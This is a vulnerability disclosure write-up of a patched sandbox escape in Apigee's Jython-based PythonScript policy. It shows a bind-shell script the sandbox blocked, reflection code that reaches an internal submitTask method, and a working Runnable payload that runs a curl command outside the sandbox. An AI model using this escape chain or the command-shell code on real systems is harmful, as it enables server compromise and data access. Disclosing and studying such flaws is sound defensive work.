Breaking the Sandbox

How access to Apigee’s internal execution context bypassed PythonScript sandbox restrictions.

2.7K

Research details

Product
Apigee
Patch status
Patched

Python code inside an API proxy

An API proxy sometimes needs logic that the built-in policies cannot express. Apigee provides JavaCallout, JavaScript, and PythonScript for that purpose, allowing custom code to work with the data moving through a proxy. The PythonScript policy was the focus of this part of the research.

The initial tests behaved as a sandbox should: attempts to open a listener or run a system command failed with permission errors. The more interesting question was whether the same restrictions covered methods reachable through objects supplied by Apigee itself.

PythonScript Policy Overview

The PythonScript policy adds Python code to an API proxy flow when a built-in policy cannot provide the required behavior. The version examined during this research used Jython 2.5.2, an implementation of Python written in Java. Because the script runs on the JVM, it can interact with Java classes and with objects passed to it by the host application.

That Java integration gives scripts access to more than request-processing helpers. Python’s libraries can perform file operations and networking, while Java APIs can execute system commands. Apigee used Java Permissions to restrict these actions in PythonScript. The policy needed to allow normal proxy logic while denying operations that would give a script control over the underlying server.

Java Permissions and Sandbox Mechanisms

Java Permissions determine which operations a piece of Java code can perform. In the PythonScript environment, the restrictions covered:

  • Reading, writing, or executing files on the server.
  • Opening network sockets to listen for connections.
  • Running operating-system commands.

The first example attempted to open a socket listener and execute commands received through the connection:

python
import socket as s, subprocess as sp
s1 = s.socket(s.AF_INET, s.SOCK_STREAM)
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
s1.bind(("0.0.0.0", 8899))
s1.listen(1)
c, a = s1.accept()
while True:
    d = c.recv(1024).decode()
    p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)
    c.sendall(p.stdout.read() + p.stderr.read())

The script failed at the listener operation. Apigee returned a security exception identifying the denied SocketPermission, including the listen,resolve actions:

json
{
  "fault": {
    "faultstring": "Evaluation of script PY-1.py (py) failed with reason: \"socket.error: (-1, 'Unmapped exception: java.security.AccessControlException: access denied (\"java.net.SocketPermission\" \"localhost:8899\" \"listen,resolve\")')\"",
    "detail": {
      "errorcode": "steps.script.ScriptEvaluationFailed"
    }
  }
}

A simpler test attempted to run ping directly through the Java runtime:

python
from java.lang import Runtime


command = "ping 8.8.8.8"
Runtime.getRuntime().exec(command)

This attempt also failed. The error identified java.io.FilePermission with the execute action, showing that the denial applied to command execution:

json
{
  "fault": {
    "faultstring": "Evaluation of script PY-1.py (py) failed with reason: \"java.security.AccessControlException: java.security.AccessControlException: access denied (\"java.io.FilePermission\" \"<<ALL FILES>>\" \"execute\")\"",
    "detail": {
      "errorcode": "steps.script.ScriptEvaluationFailed"
    }
  }
}

Both errors supported the same conclusion: the normal PythonScript execution path enforced the relevant Java permissions. The script could refer to the Java runtime, but it could not use that access to execute a command directly.

What the permission errors did not establish

Jython can also interact with Java objects supplied by the surrounding application. Those objects may expose methods that do more than the documented scripting interface suggests. A successful direct permission check does not, on its own, establish what happens when a script asks an application object to perform work elsewhere.

The issue involved Apigee’s internal MessageContextImpl and ExecutionContextImpl objects. They made an execution path available to PythonScript that did not enforce the restrictions demonstrated above. A script using that path could execute code normally denied in its own context, creating the possibility of access to the server and its data.

Tracing the execution context

PythonScript exposes a flow object for reading and setting flow variables. These variables carry data through the request and response cycle, letting a script read request values and store values for later policies. This interface is useful without requiring access to the rest of Apigee’s execution framework.

This documentation example shows its normal use:

python
import base64

username = flow.getVariable("request.formparam.client_id")
password = flow.getVariable("request.formparam.client_secret")

base64string = base64.encodestring('%s:%s' % (username, password))[:-1]
authorization = "Basic "+base64string

flow.setVariable("authorizationParam",authorization)

The example reads client_id and client_secret from incoming request parameters using flow.getVariable(). It encodes the values as a Basic authentication value, then stores the result under authorizationParam with flow.setVariable(). A later policy can use that derived value.

Nothing in this example needs the script to inspect or control the runtime that executes the proxy. Yet flow was a Java object from that runtime, with methods beyond the two used in the documentation.

The object behind flow

The object behind flow was an instance of Apigee’s MessageContextImpl. Its exposed interface was larger than getVariable() and setVariable(), so inspecting its type and attributes helped establish what else a Python script could reach:

python
result = '"flow" object type: %s\n' % type(flow)
result += '"flow" object attrs and methods:\n'
for i in dir(flow):
    result += '''%s\n''' % i
flow.setVariable('request.content', result)

This script:

  • Determines the type of the flow object and stores it in a variable.
  • Lists all the attributes and methods available on the object.
  • Stores the collected information in the request.content flow variable, allowing you to inspect it later.

The output included:

python
"flow" object type: <type 'com.apigee.flow.message.MessageContextImpl'>
"flow" object attrs and methods:
...
__class__
...
getVariable
setVariable
...
getExecutionContext
...

Alongside the documented variable methods, the output included getExecutionContext. That method connected the script to Apigee’s execution framework, rather than only to the values flowing through the proxy.

Investigating the getExecutionContext

Calling getExecutionContext returned an ExecutionContextImpl object. The next inspection used the same approach as for flow: report the object’s type, enumerate its attributes, and place the result in a flow variable for inspection.

python
execution_context = flow.getExecutionContext()
result = '"execution_context" object type: %s\n' % type(execution_context)
result += '"execution_context" object attrs and methods:\n'
for i in dir(execution_context):
    result += '''%s\n''' % i
flow.setVariable('request.content', result)

The resulting method list included submitTask, suggesting that the object could accept work for execution:

python
"execution_context" object type: <type 'com.apigee.flow.execution.ExecutionContextImpl'>
"execution_context" object attrs and methods:
...
__class__
...
getDebugContext
getFault
...
submitTask
...

Inspecting submitTask

A method name was not enough to establish what submitTask could run. Its parameter types would show whether it accepted a task, and whether additional objects were required. Jython did not fully support Python’s inspect module, so Java reflection provided the method signatures instead.

python
execution_context = flow.getExecutionContext()

# Get the class of the execution context
execution_context_class = execution_context.getClass()

# Get all methods
methods = execution_context_class.getMethods()

# Prepare a string to store the results
result = ""

# Iterate through the methods and check for submitTask (as it can be overloaded)
for method in methods:
    if method.getName() == "submitTask":
        result += '"submitTask" method found:\n'
        parameter_types = method.getParameterTypes()
        result += 'Parameter types:\n'
        for param in parameter_types:
            result += '%s\n' % param.getName()

# Store the result in a flow variable for inspection
flow.setVariable('request.content', result)

The reflection code examines all methods with the name submitTask, including any overloads, and records their parameter types in a flow variable. This gave a concrete signature to work from instead of inferring behavior from the method name.

Understanding the submitTask Method’s Signature

The output was:

python
"submitTask" method found:
Parameter types:
java.lang.Runnable
com.apigee.flow.execution.Callback
java.lang.Object

"submitTask" method found:
Parameter types:
java.lang.Runnable

There were two overloads: one accepted a Runnable, a Callback, and an Object; the other accepted only a Runnable.

The first overload included a callback for post-execution handling and an additional object argument that could carry context. The second required only the task itself, so it was sufficient for the test.

A Runnable supplies code through its run() method. Accepting one meant that submitTask could execute script-defined behavior; it did not yet establish which permissions would apply. The test needed to distinguish task submission from successful execution of an operation denied in the normal PythonScript context.

Testing the submitted task

The test used the overload accepting a single Runnable, without callback arguments. Its task attempted command execution through the same Java runtime API that the earlier direct test had used.

The command-execution test

The task ran a curl command so that successful execution would produce an outbound HTTP request. A message saying the task had been submitted would only show that the policy reached submitTask; a callback at the receiving endpoint would show that the command actually ran.

The distinction mattered because the direct runtime call had already failed with an execute-permission error. The test kept command execution as the operation being observed, while changing the path used to reach it:

python
from java.lang import Runnable
from java.lang import Runtime

# Define a Runnable class that runs the curl command
class CurlTask(Runnable):
    def run(self):
        # The command to be executed
        command = "curl http://<YOUR_TARGET_URL>"
        
        # Execute the command
        Runtime.getRuntime().exec(command)

# Create an instance of the CurlTask
curl_task = CurlTask()

# Submit the task using the simpler overload of submitTask
execution_context.submitTask(curl_task)

# Optionally, you can store a result message in a flow variable
flow.setVariable('request.content', "Curl command submitted successfully!")

CurlTask implements Runnable, putting the runtime call inside its run() method. An instance of that class goes to submitTask, rather than executing the command directly in the policy’s main script. The final flow-variable message records submission, but the outbound request is the evidence of execution.

For this test, I used a Canarytoken URL to record the callback. The call to Runtime.getRuntime().exec(command) invoked the command, while submitTask supplied the alternate execution path.

Observing callbacks

Several requests to the proxy triggered the policy. Each execution produced an outbound request to the Canarytoken URL, making the result repeatable rather than dependent on a single successful submission. The recorded callbacks are shown below:

Article screenshotArticle screenshot

The repeated callbacks confirmed that the submitted task executed the command. This was the behavior missing from the direct PythonScript test: there, Java Permissions denied execution; through the internal execution context, the command ran and reached the receiving endpoint.

The sandbox boundary

The initial permission errors and the later callbacks describe two execution paths with different results. A direct call from PythonScript could not execute a command, while a task submitted through Apigee’s execution context could. The permissions on the normal scripting path were therefore insufficient to contain everything reachable from the script.

The exposed flow object made this possible. Its documented role was variable access, but its underlying MessageContextImpl also exposed the execution context and task submission. In the tested implementation, those internal methods gave a script more control than the documented variable interface required.

The demonstrated result was command execution confirmed by outbound callbacks. Access to the server or its data was a possible consequence of that execution capability, rather than something established by the callback screenshots themselves.

Select text to leave a comment.